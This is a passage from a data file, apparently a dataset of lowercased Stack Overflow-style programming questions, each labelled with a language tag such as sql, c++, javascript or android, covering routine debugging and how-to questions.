&lt;&lt;   would you like to enter another grade  or press q to quit  &lt;&lt; endl;         cin &gt;&gt; grade;     }     system( pause );     return 0;`enter code here` } </code></pre>,c++
select the row having the maximum value of a certain column  for example  if my query returns two rows or more  i would like to <strong>select the row having the most recent date.</strong>    i m doing something like this:<br><br> <code> select * from table1 where name=mark and max(timestamp(date(str_to_date(date_registered  %d/%m/%y ))))</code>    the error returned is:  <strong>#1111 - invalid use of group function</strong>,mysql
list row and count from another tables in sql  i have the following tables:    <strong>___support</strong>   <pre><code>sup_id | sup_message -------+------------ 1      | lorem... 2      | ipsum... </code></pre>   <strong>___supportmessage</strong>   <pre><code>sum_id | sum_ticketid -------|------------- 60     | 1 61     | 1 62     | 1 63     | 1 64     | 2 65     | 2 </code></pre>   i need to list all the tickets contained in <code>___support</code> and count the ticket messages (stored in <code>___supportmessages</code>) i have for each ticket.    i should have :   <ul> <li>4 messages for ticket # 1</li> <li>2 messages for ticket # 2</li> </ul>   my actual try is the following:   <pre><code>select *      count(         select *         from ___supportmessages          where ___supportmessages.sum_ticketid = ___support.sup_id )  from ___support </code></pre>   thanks.,sql
do the same search on several different websites at once using one form  i’m using this form to do the search   <pre><code>&lt;form name= formchercher  method= post  target= _blank &gt; recherche : &lt;input id= keyword  type= text  name= rechercher &gt;  &lt;input type= button  value= go!  onclick= return search() &gt; &lt;/form&gt; </code></pre>   when i click the button  it calls this function :   <pre><code>function search() {     //var keyword = document.forms[ myform ][ fname ].value;      document.forms[ formchercher ].action= http://www.biaugerme.com/index.php      document.forms[ formchercher ].submit();      document.forms[ formchercher ].action= http://www.germinance.com/index.php      document.forms[ formchercher ].submit();      document.forms[ formchercher ].action= http://www.grainesdelpais.com/      document.forms[ formchercher ].submit();      document.getelementbyid( keyword ).name =  recherche ;     document.forms[ formchercher ].action= http://www.magellan-bio.fr/recherche.html      document.forms[ formchercher ].submit();      document.getelementbyid( keyword ).name =  q ;     document.forms[ formchercher ].action= http://www.semencesdupuy.com/fr/catalogsearch/result/      document.forms[ formchercher ].method= get ;     document.forms[ formchercher ].submit();      document.getelementbyid( keyword ).name =  search_query ;     document.forms[ formchercher ].action= http://www.semaille.com/fr/recherche      document.forms[ formchercher ].submit(); } </code></pre>   i’m changing the action of the form for each website and then submitting the form again.    the issue with this code is that it only opens one tab and shows the result from the last website.    it’s working for each individual website. if i comment everything in the function but one website  it shows the result from this website correctly in a new tab.    how do i get this code to open 6 different tabs and return a result from each of these sites,javascript
events being received multiple times - greenrobot eventbusandroid  i have cashregister fragment. which contains viewpager with nested 3 fragments. out of which currentcashfragment uses eventbus. in which i called first api and in @subscribe method of that api   call 2nd api call. but the @subscribe method of first api call get multiple times call   due to which call to server occur more than once.    i also register/unregister eventbus in onresume and onstop method of fragment. is this description sufficient for explanation or shall i post my code.     // code    initially i call endcashregister() api call   <pre><code>// end cash register event     @subscribe        public void onendcashregisterevent(endcashregisterevent event) {          cashregisterresponce regresponce = event.responce;             if (regresponce != null &amp;&amp; regresponce.getstatus() == 0) {                // call another api to server                  accountmanager.generatereport(shopcode  start_date    end_date  0);               } else {                    utility.displaysnackbar(rootview  regresponce.getmessage());                       }            } </code></pre>   line accountmanager.generatereport(shopcode  start_date  end_date  0); call 2 times as need to call 1 time only.   <pre><code>     @override         public void onstop() {           if (eventbus != null) {              eventbus.unregister(this);            }            super.onstop();         }         @override              public void onpause() {             if (eventbus != null) {               eventbus.unregister(this);             }            super.onpause();            }              @override             public void onresume() {             if (eventbus != null) {                 eventbus.register(this);            }            super.onresume();            } </code></pre>,android
need clarity about css styling  i need some clarity about css styling. let s create a simple example. i have a <code>header</code> div container at the top of the page. i then fill this container with two other div tags  a <code>logo</code> div and a <code>menu</code> div.    when i use firebug or press f12 in another browser to inspect the div tags  and especially the parent div <code>header</code>  i can hover above the code and the div elements get highlighted in color.    but when i set the <code>logo</code> div css property to <code>float: left</code> and the <code>menu</code> div css property to <code>float: right</code>  the parent div <code>header</code>  don t get highlighted any more! despite that i set the following div element css property to <code>clear: both</code>. is this ok  or am i doing something wrong in my css  if i set a hight to the parent div  it s highlighted again.    is there a error in the css  when i can t highlight the element  it s often i get this kind of  errors  when i use css.,css
asking a user if they would participate in a survey before leaving  when they close their browser or navigate away from my root url  i d like to get users  impressions of my website by asking if it s ok to be redirected to a survey  first.   <ul> <li><strong>don t</strong> want to do this if they re just navigating to other pages within website</li> </ul>   trying it out  <em>onbeforeunload</em> only offers the option to leave  or stay.  i m looking for something that leaves with both options  but provides for a redirect that doesn t necessarily return (or probably anything else)  with one of the options.    i ve seen this happen before  but can t seem to find the code to implement it.    finally  my browser pref is moz  but the technique should probably be universally compatible.    any ideas would be helpful.,html
sql for desktop application vs sql for client server applications [ibm proveit test]  i recently heard about two sql tests that <strong>ibm proveit</strong> platform offers - <strong><em>sql test for client server applications</em></strong> and <strong><em>sql test for desktop applications</em></strong>.     i am wondering if there any differences in sql for client server applications and sql for desktop applications in general       also  please let me know what to expect in these tests.,sql
tcp linux server lock after the first accept  i am writing a tcp client in c. following several tutorial i wrote my code but it can accept only the first connection to the server.   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;sys/socket.h&gt; #include &lt;arpa/inet.h&gt; //inet_addr for inaddr_any #include &lt;string.h&gt; //for splitting (strtok) #include &lt;pthread.h&gt; //thread library #include &lt;time.h&gt; #include &lt;unistd.h&gt; //for function close()  void* sockethandler(void*);   int main(void) {     //socket parameters     int server_socket_desc;     int clientaddresslength = sizeof(struct sockaddr_in);     struct sockaddr_in server_addr  client_addr;      const unsigned short int port_number = 8963; server_socket_desc = socket(af_inet  sock_stream  ipproto_tcp);     if (server_socket_desc &lt; -1) {         printf( could not create socket );     }     puts( socket created );      //prepare the sockaddr_in structure     server_addr.sin_family = af_inet;  //it should be always set to af_inet     //set the server address     server_addr.sin_addr.s_addr = inet_addr( 192.168.123.240 );     //server_addr.sin_addr.s_addr = inet_addr( 31.185.101.35 );     //server_addr.sin_addr.s_addr = inet_addr( 127.0.0.1 );     server_addr.sin_port = htons(port_number);      //bind     if (bind(server_socket_desc  (struct sockaddr *) &amp;server_addr              sizeof(server_addr)) &lt; 0) {         //print the error message         perror( bind failed. error );         return 1;     }     puts( bind done );      //listen     listen(server_socket_desc  10);      //accept and incoming connection     puts( waiting for incoming connections... );      //accept connection from an incoming client     while (1) {         int *temp_socket_desc = (int*) malloc(sizeof(int));         if ((*temp_socket_desc = accept(server_socket_desc                  (struct sockaddr *) &amp;client_addr                  (socklen_t*) &amp;clientaddresslength)) != -1) {              printf( ----------\nconnection accepted \n );             sleep(1);             pthread_t thread_id;             int *client_socket_desc = (int*) malloc(sizeof(int));             client_socket_desc = temp_socket_desc;              pthread_create(&amp;thread_id  null  &amp;sockethandler                      (void*)     client_socket_desc);             //if thread has not terminated  pthread_detach() shall not cause it to terminate             pthread_detach(thread_id);             puts( handler assigned );          } else             puts( connection refused );      }      close(server_socket_desc);     //mysql_close(mysql_conn);     return 0; }  /*  * this will handle connection for each client  * */ void* sockethandler(void* lp) {     int *csock = (int*) lp;      char buffer[128];     int buffer_len = 128;     int bytecount;     memset(buffer  0  buffer_len);     if ((bytecount = read(*csock  buffer  buffer_len) == -1)) {         fprintf(stderr   error receiving data\n );         close(*csock);         return 0;     }     printf( received bytes %d\nreceived string \ %s\ \n   bytecount  buffer);      close(*csock);     free(csock);     puts( exiting thread );     //pthread_exit(0);     return 0; } </code></pre>   i temporally solved the problem inserting a <strong>sleep()</strong> after the <strong>while loop</strong> but it is a very bad solution. can somebody explain me why the code does n work without the sleep,c
calling reloaddata in uitableview doesn t seem to populate my table cells  i have a view that implements uitableview. i have a method called setdata that allows me to pass in a nsmutablearray. once i do this i call [self reloaddata]. my understanding is that once this is called all the functions that check for the array and set the table cells are supposed to run.     i ve put some log statements and also tried setting break points and none of that code is getting called at all. wondering what i am doing wrong.    here is my .m code.   <pre><code>#import  jornadakmllist.h   @implementation jornadakmllist  - (id)initwithframe:(cgrect)frame {     self = [super initwithframe:frame];     if (self) {         // initialization code     }     return self; }  -(void)setdata:(nsmutablearray*)value {     collection = value;      [self reloaddata]; }  //table view stuff  - (nsinteger)numberofsectionsintableview:(uitableview *)tableview {     nslog(@ this is line 33 );     return 1; }  - (nsinteger)tableview:(uitableview *)tableview numberofrowsinsection:(nsinteger)section {     nslog(@ this is line 39 );     return [collection count]; }  - (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath {     nslog(@ this is line 43 );     static nsstring *cellidentifier = @ cell ;      uitableviewcell *cell = [tableview dequeuereusablecellwithidentifier:cellidentifier];      if (cell == nil)     {          cell = [[uitableviewcell alloc] initwithstyle:uitableviewcellstyledefault reuseidentifier:cellidentifier] ;      }      // configure the cell...     kmlvo *vo = [collection objectatindex:indexpath.row];     cell.textlabel.text = vo-&gt;title;       return cell;  }  @end </code></pre>   and here is my .h code   <pre><code>#import &lt;uikit/uikit.h&gt; #import  jornadakmllist.h  #import  kmlvo.h  @interface jornadakmllist : uitableview &lt;uitableviewdelegate uitableviewdatasource&gt; {     nsmutablearray *collection; } -(void)setdata:(nsmutablearray*)value; @end </code></pre>,objective-c
how to create a stack of different types of variable   can someone help me how to create a stack that handles different types of variable. i have a bnf grammar that i need to push into stack and below are the things that i need to push into stack    1) + - / *    2) integers - 0 1 2..9    3) characters - a b..z a b..z    4) $ sign  parenthesis (open  close)  underscore    i am not sure if my below attempt would satisfy all of the above. please correct me if i am wrong.   <pre><code>stack&lt;int string&gt;mystack </code></pre>,c++
multiply arrays to make matrix gives unexpected result  suppose i have this code:   <pre><code>dim = 3 eye =  [[0] * dim] * dim </code></pre>   and it is a list of list  i checked   <pre><code>[[0  0  0]  [0  0  0]  [0  0  0]] </code></pre>   now  if i do this  i get:   <pre><code>eye[1][2] = 1 eye [[0  0  1]  [0  0  1]  [0  0  1]] </code></pre>   however  if i manually put in this expression  the above code works as expected:   <pre><code>eye2=[[0  0  0]  [0  0  0]  [0  0  0]] eye2[1][2] = 1 eye2 [[0  0  0]  [0  0  1]  [0  0  0]] </code></pre>   what is the difference between the two      <strong>update:</strong> thanks for all the explanations  suppose i have this code:   <pre><code>a = [0] type(a) b = a * 3  # or b = [[0] *3] </code></pre>   so  b holds the 3 references to a. and i expect changing b[0] or b[1] or b[2] will change all 3 elements.<br> but this code shows the normal behavior  why is that     <pre><code>b[1] = 3 b [0  3  0] </code></pre>,python
how to show a custom row and still use uidatepicker in objective c  i want to user to input expiration duration.    for that i want to have everything like uidatepicker would show  but have a top row  saying never expire.    is it possible  other than re-writing the whole uidatepicker using uipicker      thanks in advance for any pointers :),objective-c
how pick data in listbox from db   i am developing software using vs 2008 and at back end oracle 10g.    my first question is: can i use linq for oracle  or/and    is there a way without using linq can i join more than one source to collect result. e.g. i have two dataset one is for category named cat_set and 2nd for product named prd_set now i want to list the product on the basis/specific to selected category in 2nd set.    i made two dataset. one for category which upload data from db in combobox and 2nd in listbox but only for selected category in the combobox.    thanks in advance.,.net
payload file filelistabsolute.txt does not exist compile error  trying to debug this error. the exact error is:   <blockquote>    error 15  payload file    c:\svn\myproj\obj\debug\myproj.csproj.filelistabsolute.txt    does not exist.     </blockquote>   it occurs when trying to build my solution in vs2012.    i don t know what this file is  or does  but it is definitely there in the solution. it seems to be an auto-generated file of some sort.    any explanation for what this error might mean or how to fix it     the file contains a list of every single file in the solution it would seem.,c#
(ruby on rails) displaying posts into groups of 3  i m using the following code to display posts to my users.    _feed.html.erb partial:   <pre><code>&lt;% @posts_by_month.each do |monthname  posts| %&gt; &lt;%= monthname %&gt; &lt;ul&gt;    &lt;% posts.each do |post| %&gt;      &lt;li&gt;&lt;%= post.created_at %&gt;&lt;/li&gt;    &lt;% end %&gt; &lt;/ul&gt; &lt;% end %&gt; </code></pre>   controller:   <pre><code>  def home     if logged_in        @post  = current_user.posts.build       @posts_by_month = current_user.feed.group_by { |post| post.created_at.strftime( %b ) } </code></pre>   this renders my posts as follows:   <pre><code>post 1 post 2 post 3 post 4 </code></pre>   i want to change it so that the posts are displayed like:   <pre><code>post 1         post 2       post 3 post 4         etc          etc etc </code></pre>   i ve tried several approaches to this  including the in_groups_of(3) method however the way it is currently setup means nothing works. i feel like there is an obvious solution i m missing - can anyone help     [<strong>edit to expand on the in_groups_of(3) error</strong>]    if i change line 4 in the _feed partial to:   <pre><code>&lt;% posts.in_groups_of(3  false).each do |post| %&gt; </code></pre>   it gives the error: undefined method `created_at  for #&lt; array:0xbb8f258 >,ruby-on-rails
hiding the .html in a url <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/1992183/how-to-hide-the-html-extension-with-apache-mod-rewrite >how to hide the .html extension with apache mod_rewrite</a>    </blockquote>     how do i hide the .html ending on webpages     i would like this:    <a href= http://www.exmaple.com/lorem.html  rel= nofollow noreferrer >http://www.exmaple.com/lorem.html</a>    to look like this:    <a href= http://www.example.com/lorem/  rel= nofollow noreferrer >http://www.example.com/lorem/</a>    i know that it would be possible to do by making a folder with an index page inside  but is there any way to tell the server to render  .html  as  /,html
how do i get the codes for characters in a string   as an example  how would i get the code for § in python. § is be represented as  \u00a7   but i would like it to give me the code 00a7  so i can use it in the creation of code files. also i would like this to work if i just put the letter  a,python
aligning an html table across a page with multiple links  i d like to put some really basic navigation links in a document (running into li:hover problems with ipad).    i ve got the following html code  and i d like to have document header style navigation links    so <code>top</code> would be flush left  the <code>nav</code> group would be centered on the top and the <code>next</code> would be flush right.     but the content all gets cramped up along the left of the div rather than being spread across it. what am i doing wrong  i would try with css but don t know enough to figure out how to do it.   <pre><code>&lt;table id= innav &gt;  &lt;col width= 20% /&gt;  &lt;col width= 60%  /&gt;  &lt;col width= 20%  /&gt;   &lt;tr&gt;      &lt;td align= left &gt;         &lt;a href= ../index.html &gt;top&lt;/a&gt;     &lt;/td&gt;      &lt;td align= center &gt;         &lt;nav&gt;              &lt;a href= ./section1.html &gt;section 1&lt;/a&gt;|              &lt;a href= ./section2.html &gt;section 2&lt;/a&gt;|              &lt;a href= ./section3.html &gt;section 3&lt;/a&gt;          &lt;/nav&gt;     &lt;/td&gt;      &lt;td align= right &gt;         &lt;a href= ./section1.html &gt;next&lt;/a&gt;     &lt;/td&gt;   &lt;/tr&gt; &lt;/table&gt; </code></pre>   edit: adding both the table + css version and a pure css version --    the css that makes the above work <em>very elegantly</em> is   <pre><code>#innav {   width: 100%;   margin: 0pt;   padding: 0pt; } </code></pre>   the pure css version that i would have produced - but <em>looks and feels considerably less elegant</em> below:    the html is clearly neater and easier to read   <pre><code>&lt;ul id= innav1 &gt;     &lt;li id= leftnav &gt;         &lt;a href= .index.html &gt;top&lt;/a&gt;&lt;/li&gt;     &lt;li id= centernav &gt;          &lt;ul&gt;         &lt;li&gt;&lt;a href= ./section1.html &gt;uk process&lt;/a&gt;|&lt;/li&gt;         &lt;li&gt;&lt;a href= ./section2.html &gt;na process&lt;/a&gt;|&lt;/li&gt;         &lt;li&gt;&lt;a href= ./section3.html &gt;ap process&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt;     &lt;li id= rightnav &gt;         &lt;a href= ./section1.html &gt;next&lt;/a&gt; &lt;/li&gt; &lt;/ul&gt; </code></pre>   the css looks like this:   <pre><code>#centernav &gt; ul &gt; li {   display: inline;   width: 70%;   margin: 0pt;   padding: 0pt; }  #centernav {   width: 30%;   margin-left: 30% }  #leftnav {   float: left;   width: 7%;   margin: 0pt;   padding: 0pt; }  #rightnav {   float: right;   width: 10% }  #innav1 li{   list-style-type: none;   display: inline-block; } </code></pre>   which i m sure has a few redundant key-values and the final content is much less cleanly distributed across the top of the page.    given the strong emphasis on a css solution  could someone point me to <em>why</em> it would be better and how to make it look as neat as the table solution     thanks,html
xml: remove child node of a node  i want to find all nodes in a xml file that have a certain tag-name  lets say  foo . if those foo-tags have them thelves child nodes with node-name  bar   then i want to remove those nodes. the result should be written to a file.   <pre><code>&lt;mydoc&gt;   &lt;foo&gt;     &lt;bar/&gt; // remove this one   &lt;/foo&gt;   &lt;foo&gt;     &lt;anything&gt;       &lt;bar/&gt; // don t remove this one     &lt;/anything&gt;   &lt;/foo&gt; &lt;/mydoc&gt;  </code></pre>   thanx for any hints. as the tag indicates  i would like to do this with python.,python
in sql  how to format values so i have column1value.column2value  i am new to sql and have some problems with formatting. in column1  i have categories living  food  transportation and in each category  i have subcategories. for example  food.lunch  food  grocery.    now i want to have a new column called detailed expenses in which i want to display category.subcategory    for example  food.lunch    how can i achieve this  any help,sql
why does getdirectoryname return null for c:\   i just came across what seems like a weird design choice:   <pre><code>system.io.path.getdirectoryname(@ c:\folder\file.ext ) </code></pre>   returns  c:\folder     but   <pre><code>system.io.path.getdirectoryname(@ c:\ )  </code></pre>   returns null.    i could understand it better if the first example returned  folder .    any ideas <strong>why</strong> this is the case  and what do <em>you</em> do when you just want to get the folder path,.net
rails many to many ids  i am trying to make a online quiz system in rails 5.    here are some models:    <code>quiz</code>  <code>question</code>  <code>quiz_question</code>  <code>answer</code>  <code>category</code>    <code>questions (:title  :category_id  type_id)</code>    <code>answers (:title  :is_right )</code>    <code>quizzes (:title  :category_id  question_count  question_ids)</code>    the associations are:   <pre><code>class quiz &lt; applicationrecord   has_many :questions  :through =&gt; :quiz_questions   belongs_to :category end     class quizquestion &lt; applicationrecord   belongs_to :quiz   belongs_to :question end    class question &lt; applicationrecord   has_many :answers  inverse_of: :question  :dependent =&gt; :destroy   accepts_nested_attributes_for :answers  allow_destroy: true  reject_if: :all_blank    belongs_to :category   belongs_to :type   has_many :quizzes  :through =&gt; :quiz_questions end </code></pre>   we get a collection of questions by question s category  when a new quiz generated.    the count of the questions maybe all of the category  or just part of it  such as 100  or 200.    here is my questions:   <ol> <li> if it is necessary to create the <code>quizquestion</code> model to establish the <code>many-to-many</code> association  </li> <li> i want to use <code>question_ids</code>  the column of <code>quizzes</code>  to store the questions that the quiz got from the questions table by the category. but there are so many questions  it can t possible to select the needed questions. how to implement this  </li> </ol>,ruby-on-rails
close drop down menu after hover   looking for a simple script that will close on click a dropdown menu that opens on hover...thanks very much!   <pre><code>&lt;li&gt;&lt;a href= # &gt;&lt;i class= fa fa-th-large &gt;&lt;/i&gt;product images &lt;span class= wsarrow &gt;&lt;/span&gt;&lt;/a&gt;     &lt;div class= wsmegamenu clearfix  &gt;     &lt;div class= container &gt;     &lt;div class= row &gt;      &lt;div class= col-lg-4 col-md-12 col-xs-12 &gt;     &lt;h3 class= title &gt;product features&lt;/h3&gt;     &lt;div class= fluid-width-video-wrapper &gt;&lt;img src= {t_theme_path}/navbar_fancy/images/image02.jpg  alt=   /&gt; &lt;/div&gt;     &lt;p class= wsmwnutxt &gt;lorem ipsum is dummy text of the printing specimen book. it has survived not only five centuries  but also typesetting in the the contantly with desktoncluding.&lt;/p&gt;     &lt;/div&gt;      &lt;div class= col-lg-4 col-md-12 col-xs-12 &gt;     &lt;h3 class= title &gt;blog article &lt;/h3&gt;     &lt;div class= fluid-width-video-wrapper &gt;&lt;img src= {t_theme_path}/navbar_fancy/images/image03.jpg  alt=   /&gt; &lt;/div&gt;     &lt;p class= wsmwnutxt &gt;lorem ipsum is dummy text of the printing specimen book. it has survived not only five centuries  but also typesetting in the the contantly with desktoncluding.&lt;/p&gt;     &lt;/div&gt;      &lt;/div&gt;     &lt;/div&gt;     &lt;/div&gt;     &lt;/li&gt; </code></pre>,javascript
imagebuttons don t appear when filename starts with an a or b  i m running into a completely bizarre problem and am wondering if anyone has experienced something similar.    i couldn t figure out why an imagebutton was not appearing on a screen  when several similar ones worked just fine. i discovered that other images worked just fine when used for the same imagebutton xml... and that the image appeared if i changed the filename.    after a few dozen tests  i discovered that i could give the file a short name  a long name  any sort of name... but if the filename started with an  a  or a  b  that the image did not appear. if it started with a  c  or  d  or  e  or a few other letters  it would appear (i did not test every possibility). however  other similarly named images had no trouble. just this one image.    then recently it happened again with another image and imagebutton i had added to the app. once again  changing the first letter to something else made it work... but other very similar buttons and images had no trouble.     does anyone know why this is happening and how i can fix it to eliminate this bizarre behavior     max os x 10.7.1 eclipse 3.7.0 targeting android 2.2    yes  i have cleaned the project  uninstalled the app from the phone  restarted eclipse  restarted the computer and so on. yes  i am absolutely certain that the name of the file matches what i set in the xml file.,android
avg growth using query sql  i have the following table:    <img src= https://i.stack.imgur.com/qa1ua.jpg  alt= table >    please help me to use the following query in sql:   avg(value2/value1 value3/value2 value4/value3)     thanks so much !,sql
given a uri value how can one check whether it refers the local machine   how can one check that an absolute uri refers the local machine     currently i am using this simple procedure:   <pre><code>var islocalmachine = uri.isloopback || string.equals(uri.hostname  environment.machinename  stringcomparison.ordinalignorecase); </code></pre>   but this is not good enough  because:   <ul> <li>the optional domain name is left unattended.</li> <li>the same machine may have several different dns names</li> <li>the host name may be an ip address  which is not handled at all</li> </ul>   if it is possible  i would like to have a procedure  which does not generate any network queries.    thanks.,.net
getting garbage value while doing chaining of assignment of class objects  using assignment operator overloading which returns class object by value  in assignment operator overloading  if i return the object by reference like below   <pre><code>one&amp; operator=( const one&amp;  obj). </code></pre>   then program works fine.    but if when i return by value  like below   <pre><code>one operator=( const one&amp;  obj) </code></pre>   then o1 gets garbage value. can anybody explain why return by value does not work in assignment operator overloading    <pre><code>class one {     public:         one(int a1  int b1) {               a = a1; b = b1;          }          int a;         int b;         one operator=( const one&amp;  obj) {              cout&lt;&lt; \noperator= is called\n ; a = obj.a; b = obj.b;          } };   int main() {     one o1(5 5);     one o2(10 10);     one o3(15 15);      cout &lt;&lt;  \no1.a=  &lt;&lt; o1.a &lt;&lt;    o1.b=  &lt;&lt; o1.b &lt;&lt; endl;      o1 = o2 = o3;      cout &lt;&lt;  \no1.a=  &lt;&lt;o1.a &lt;&lt;    o1.b=  &lt;&lt; o1.b &lt;&lt; endl;     cout &lt;&lt;  \no2.a=  &lt;&lt;o2.a &lt;&lt;    o2.b=  &lt;&lt; o2.b &lt;&lt; endl;     cout &lt;&lt;  \no3.a=  &lt;&lt;o3.a &lt;&lt;    o3.b=  &lt;&lt; o3.b &lt;&lt; endl;       return 0; } </code></pre>   output:   <pre><code>o1.a=-13360  o1.b=0  o2.a=15  o2.b=15  o3.a=15  o3.b=15 </code></pre>   why o1 object showing garbage value in case of return by value in assignment operator. it works fine when return by reference. why,c++
where does the space of the relative-positioned div come from   why doesn t the relative-positioned div line up at 0 0 like the fixed-positioned div  i ve tried setting padding/margin to 0  but it doesn t seem to make any difference.    <a href= http://jsfiddle.net/helpermethod/cwdwp/4/  rel= nofollow >http://jsfiddle.net/helpermethod/cwdwp/4/</a>,css
id getting inserted without selecting in c#.net <pre><code>private void form1_load(object sender  eventargs e)        {         oledbconnection con = new oledbconnection(constr);         oledbcommand cmd = new oledbcommand( select project_name  id from tb_project   con);         con.open();          oledbdatareader dr = cmd.executereader();         datatable table = new datatable();         table.load(dr);         combo_status.datasource = table;         combo_status.displaymember =  project_name ;         combo_status.valuemember =  id ;         combo_status.text =  select project name ;     }  private void btnsave_click_click(object sender  eventargs e)     {         oledbconnection con = new oledbconnection(constr);         con.open();         oledbcommand cmd = new oledbcommand( insert into tb1(name) values (@name)   con);          cmd.parameters.addwithvalue( name   combo_status.selectedvalue);          cmd.executenonquery();         con.close();         messagebox.show( inserted sucessfully );      } </code></pre>   in the first class i have a combobox and i am fetching its value from database and i have shown  select project name  on page load in combobox.i want to insert its value only when user selects option from dropdown and insert nothing if user did not choose any option.     now the problem is that the first name in the dropdown gets inserted on button click.without choosing any option.i want that if user did not choose any name value from dropdown nothing should get inserted.    can anyone help me..,c#
calculation from 2 sql queries  i have two queries that i am not sure how to run as one doing some simple math.   <pre><code>select count(*) from customerinfo where member between  2013-01-01  and  2013-12-31   </code></pre>   returns:  7823   <pre><code>select count(distinct orderinfo.orderid) from orderinfo  orderiteminfo  where code =  810samp   and orderinfo.orderid = orderiteminfo.orderid and orderinfo.preparedate between  2013-01-01  and  2013-12-31   </code></pre>   returns:  4106    i need to have the query return:  4106 / 7823 x 100,sql
getting the asp label value and using it else where  in the code there is this line   <pre><code>&lt;asp:label id= lblgrandtotal  cssclass= bvsmalltext  runat= server &gt;&lt;/asp:label&gt; </code></pre>   it returns a number  now there is no access to the <code>codebehind</code> .cs file    is there anyway for me to output the number into  <code>&lt;img src= //randomtracking.com/ v=&lt;asp:the_total&gt; /&gt;</code>     or do i have to use java-script to do this,asp.net
jquery + display next element one by one  so  i have this html   <pre><code>&lt;div id= myfields &gt;     &lt;fieldset class= newset &gt;         &lt;p&gt;             &lt;label for= item1 &gt;item name or #&lt;/label&gt;             &lt;input name= item1  type= text  id= item1  size= 25  maxlength= 15  /&gt;         &lt;/p&gt;     &lt;/fieldset&gt;         &lt;fieldset class= newset &gt;         &lt;p&gt;             &lt;label for= item2 &gt;item name or #&lt;/label&gt;             &lt;input name= item2  type= text  id= item2  size= 25  maxlength= 15  /&gt;         &lt;/p&gt;     &lt;/fieldset&gt;         &lt;fieldset class= newset &gt;         &lt;p&gt;             &lt;label for= item2 &gt;item name or #&lt;/label&gt;             &lt;input name= item2  type= text  id= item2  size= 25  maxlength= 15  /&gt;         &lt;/p&gt;     &lt;/fieldset&gt;     &lt;/div&gt; </code></pre>   then outside the div myfields i have an image serving as a button (with id= add ).  when clicked  the next fieldset is supposed to appear  for which i have this script   <pre><code>$(document).ready(function() {             $( .newset ).hide();              $( #add ).click(function() {              $( .newset ).next().show( slow );              }); </code></pre>   but it will not show only the next one but all of them at once.      i am sure there is a more elegant/efficient way of doing is but i cannot find it.    thanks for the help.    here is a jsfiddle example of the problem: <a href= http://jsfiddle.net/xyw4m/  rel= nofollow >http://jsfiddle.net/xyw4m/</a>,jquery
starting with ruby on rails  i want to download ruby on rails  but i am not understanding what to download here     <a href= http://rubyonrails.org/download  rel= nofollow noreferrer >http://rubyonrails.org/download</a>    i would like to get ruby on rails and i have windows. which one should i download,ruby-on-rails
object() in object cannot be applied while creating adapter image  i am creating an adapter image and i am having this 2 errors:    <a href= https://i.stack.imgur.com/zrrrs.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/zrrrs.jpg  alt=  ></a>    this is the code    <pre><code>public class gridviewadapter {      private context mcontext;     private int layoutresourceid;      public gridviewadapter(context context  int layoutresourceid  arraylist&lt;listitem&gt; listitem) {         super(context  layoutresourceid  listitem);         this.layoutresourceid = layoutresourceid;         this.mcontext =context;      } </code></pre>   this is second error    <code>cannot resolve method getitem()</code>   <pre><code>   ` listitem item = getitem(position);`  if (row == null) {             layoutinflater inflater = layoutinflater.from(mcontext);             row = inflater.inflate(layoutresourceid  parent  false);             holder = new viewholder();             holder.imagetitle = (textview) row.findviewbyid(r.id.text);             holder.imageview = (imageview) row.findviewbyid(r.id.imageview);             row.settag(holder);         } else {             holder = (viewholder) row.gettag();         }         listitem item = getitem(position); </code></pre>,android
java autogenerate directories if exists  i m trying to check if a directory exists  if that happens i want to give it another number  for example  if  folderx  exists i want to create a new one called  folderx1   at the moment i m just able to do this once since i have it on an  if/else statement like this:   <pre><code>    file fa = new file(folder);      if(!fa.exists()){         this.folder = folder;     }else{         this.folder = folder+=1;       } </code></pre>   i want do this recursively  if the program detects that  folderx  exists it should jump and check the others (folderx folderx1 folderx2  etc) until it finds one that can be created but i don t know how to do it.,java
angularjs: highlight a button on click <pre><code>       &lt;tbody md-body&gt;           &lt;tr md-row md-select= dessert   md-select-id= name  ng-model= participant.partname  md-auto-select ng-repeat= participant in participants track by participant.partname | filter: search &gt;             &lt;td md-cell&gt;{{participant.partname}}&lt;/td&gt;              &lt;td md-cell&gt;&lt;img src= ./images/mute.png  ng-click= mutepart(participant.partname);  title= mute                                   ng-class= { selected-image  : participant.partname === muteselected}  /&gt;&lt;/td&gt;             &lt;td md-cell&gt;&lt;img src= ./images/unmute.png   ng-click= unmutepart(participant.partname);  title= unmute                                   ng-class= { selected-image  : participant.partname === unmuteselected} /&gt;&lt;/td&gt;                              &lt;/tr&gt;         &lt;/tbody&gt; </code></pre>   js:   <pre><code>$scope.mutepart = function(muteselected) {            $scope.muteselected = muteselected;   $scope.unmuteselected = null;   $rootscope.muteind = true;   $rootscope.muted = true;  }  $scope.unmutepart = function(unmuteselected) {   $scope.unmuteselected = unmuteselected;   $scope.muteselected = null;   $rootscope.mutind = false;   $rootscope.muted = false; } </code></pre>   css:       .selected-image { border: 1px solid red; }    i have mute  unmute image buttons for various endpoints. for the 1st endpoint  you click on mute  it gets selected but if you click on mute of 2nd endpoint the previously selected mute of 1st endpoint is not selected anymore. i want to keep all the clicked buttons of mute or unmute to be highlighted.. currently only 1 button gets selected on click.,angularjs
i dont understand what is wrong in my program  this is a programming question and it doesn t give right answer  to all cases      you are playing a video game in which several stacks of boxes are lined up on the floor  with a crane on top to rearrange the boxes    the crane supports the following commands:    • move one position left (does nothing if already at the leftmost position)    • move one position right (does nothing if already at the rightmost position)    • pick up a box from the current stack (does nothing if the crane already has a box)    • drop a box on the current stack (does nothing if the crane doesn t already have a box)    further  there is a limit h on the number of boxes on each stack. if a  drop  command would result in a stack having more than h boxes  the crane ignores this drop command. if the current stack has no boxes  a  pick up  command is ignored.    you are given the initial number of boxes in each stack and the sequence of operations performed by the crane. you have to compute the final number of boxes in each stack.    input format • line 1 : the width of the game (the number of stacks of boxes)  n  followed by the max height h of each stack.    • line 2 : n integers  the initial number of boxes in each stack  from left to right. each number is ≤ h.    • line 3 : a sequence of integers  each encoding a command to the crane.   <pre><code>the commands are encoded as follows:  1 : move left  2 : move right  3 : pick up box  4 : drop box  0 : quit </code></pre>   • the command quit (0) appears exactly once  and is the last command.    • the initial position of the crane is above the leftmost stack  with the crane not holding any box.   